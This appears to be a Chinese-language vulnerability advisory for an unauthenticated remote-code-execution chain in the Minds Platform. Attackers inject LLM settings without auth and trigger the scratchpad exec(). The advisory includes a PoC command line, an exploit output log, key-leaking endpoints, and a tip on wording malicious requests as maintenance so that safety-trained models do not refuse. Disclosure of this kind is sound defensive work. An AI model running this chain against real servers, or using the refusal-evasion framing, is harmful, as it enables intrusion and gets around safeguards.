CVSS 10.0(严重) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck
Minds Platform(mindsdb/mindshub 的开源后端,先前为 mindsdb/minds-platform)暴露了 POST /api/v1/responses/(一个兼容 OpenAI 的 Responses API,端口 26866),完全没有认证。没有任何认证中间件——没有 Bearer 检查,没有会话,什么都没有。服务器只安装了一个宽松的 CORS 中间件(allow_origins=["*"], allow_credentials=True)。
因此,未认证的攻击者可以:
通过 PUT /api/v1/settings/{key}(openai_api_key、openai_base_url、planning_provider、coding_provider、*_model)注入自己的 LLM 配置——无需令牌,所有请求均返回 200。
向 POST /api/v1/responses/ 发送精心构造的提示 → ResponsesHandler.handle() → Anton ChatSession.turn_stream(input)。
(攻击者控制的)LLM 为内置的 scratchpad 工具返回一个函数调用(action: "exec")。handle_scratchpad → prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime → scratchpad_boot.py:
compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace) # arbitrary Python → arbitrary OS commands
由于 LLM 端点是由攻击者选择的(BYOK),攻击者可以让模型返回任意 scratchpad 代码——无需模型配合或强制。唯一的前提是一个可用的兼容 OpenAI 的 LLM API 密钥。
影响范围: ≤ v26.1.0(易受攻击的代码于 2026-06-08 添加,"Fresh #12461")。已修补:无——GHSA 未列出任何已修补版本;exec() 仍存在于 main 中(仅存在可选的、默认关闭的 COWORK_REQUIRE_AUTH Bearer 中间件和 org-mode 作用域检查)。
python3 poc_cve-2026-73678.py \
--target http://TARGET:26866 \
--api-key sk-YOUR_OWN_KEY \
--base-url https://api.openai.com/v1 \
--model gpt-4o
该 PoC:
PUT /api/v1/settings/* 写入攻击者设置exec 运行 uname -a + hostname)cat /tmp/system_info.txt 确认提示工程说明: 经过严格安全训练的模型可能会拒绝明显恶意的命令(例如包含 "pwn" 的文件名)。将请求包装成常规维护(系统诊断、健康检查)——scratchpad 会执行模型提供的任何代码。
针对 cowork-server==0.26.6.26.1 并使用真实 LLM 提供商(OpenCode Zen、minimax-m3)的真实端到端链路:
== [1] AUTH-FREE SETTINGS INJECTION ==
PUT /api/v1/settings/openai_api_key: HTTP 200
PUT /api/v1/settings/openai_base_url: HTTP 200
PUT /api/v1/settings/planning_provider: HTTP 200
PUT /api/v1/settings/coding_provider: HTTP 200
PUT /api/v1/settings/planning_model: HTTP 200
PUT /api/v1/settings/coding_model: HTTP 200
== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
HTTP 200 (15.6s) — LLM called the scratchpad tool
== [3] COMMAND EXECUTION CONFIRMED ==
/tmp/system_info.txt inside the container:
Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
95d5d7fa74f6
在任何时候都没有发送令牌。uname -a 输出是由 scratchpad exec 在目标容器内生成的——以未认证的远程攻击者身份执行任意操作系统命令。
GET /api/v1/settings/reveal-key/{name} 泄露已配置的密钥;POST /api/v1/settings/raw 写入 ~/.anton/.env。mindsdb/mindshub)